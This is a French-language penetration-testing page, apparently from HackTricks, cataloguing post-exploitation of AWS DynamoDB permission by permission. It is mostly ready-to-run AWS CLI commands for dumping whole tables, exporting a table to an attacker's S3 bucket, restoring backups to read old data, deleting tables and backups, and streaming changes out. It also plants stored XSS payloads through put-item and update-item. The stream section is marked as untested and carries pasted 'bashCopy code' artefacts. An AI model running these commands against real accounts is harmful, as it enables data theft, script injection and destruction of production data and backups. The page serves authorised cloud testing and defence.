# AWS - Post Exploitation de DynamoDB

{{#include ../../../banners/hacktricks-training.md}}

## DynamoDB

Pour plus d'informations, consultez :

{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:BatchGetItem`

Un attaquant avec ces permissions pourra **récupérer des éléments des tables par la clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez obtenir cela en récupérant les métadonnées de la table (`describe-table`).

{{#tabs }}
{{#tab name="json file" }}
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
```
{{#endtab }}

{{#tab name="inline" }}
```bash
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table

### `dynamodb:GetItem`

**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
```json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}
```
Avec cette autorisation, il est également possible d'utiliser la méthode **`transact-get-items`** comme :
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table

### `dynamodb:Query`

**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble de la DB dans une requête.

{{#tabs }}
{{#tab name="json file" }}
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
```
{{#endtab }}

{{#tab name="inline" }}
```bash
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table

### `dynamodb:Scan`

Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de la table**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table

### `dynamodb:PartiQLSelect`

Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de la table**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Cette permission permet également d'exécuter `batch-execute-statement` comme :
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.

**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table

### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`

Cette permission permettra à un attaquant de **exporter l'ensemble de la table vers un bucket S3** de son choix :
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
```
Notez que pour que cela fonctionne, la table doit avoir la récupération à un moment donné activée, vous pouvez vérifier si la table l'a avec :
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Si ce n'est pas activé, vous devrez **l'activer** et pour cela, vous avez besoin de la permission **`dynamodb:ExportTableToPointInTime`** :
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table

### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`

Avec ces autorisations, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la sauvegarde de la table

### `dynamodb:PutItem`

Cette autorisation permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.

{{#tabs }}
{{#tab name="Exemple XSS" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
```
{{#endtab }}

{{#tab name="Exemple IA" }}
```bash
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en étant capable d'ajouter/modifier des données dans une table DynamoDB

### `dynamodb:UpdateItem`

Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle **ne remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.

{{#tabs }}
{{#tab name="Exemple XSS" }}
```bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
```
{{#endtab }}

{{#tab name="Exemple IA" }}
```bash
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
```
{{#endtab }}
{{#endtabs }}

**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en étant capable d'ajouter/modifier des données dans une table DynamoDB

### `dynamodb:DeleteTable`

Un attaquant avec cette permission peut **supprimer une table DynamoDB, entraînant une perte de données**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Impact potentiel** : Perte de données et interruption des services dépendant de la table supprimée.

### `dynamodb:DeleteBackup`

Un attaquant avec cette permission peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.

### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`

> [!NOTE]
> TODO : Tester si cela fonctionne réellement

Un attaquant avec ces autorisations peut **activer un flux sur une table DynamoDB, mettre à jour la table pour commencer à diffuser des modifications, puis accéder au flux pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrer les modifications de données, ce qui peut entraîner une fuite de données.

1. Activer un flux sur une table DynamoDB :
```bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Décrivez le flux pour obtenir l'ARN et d'autres détails :
```bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Obtenez l'itérateur de fragment en utilisant l'ARN du flux :
```bash
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
```
4. Utilisez l'itérateur de fragment pour accéder et exfiltrer des données du flux :
```bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Impact potentiel** : Surveillance en temps réel et fuite de données des modifications de la table DynamoDB.

{{#include ../../../banners/hacktricks-training.md}}
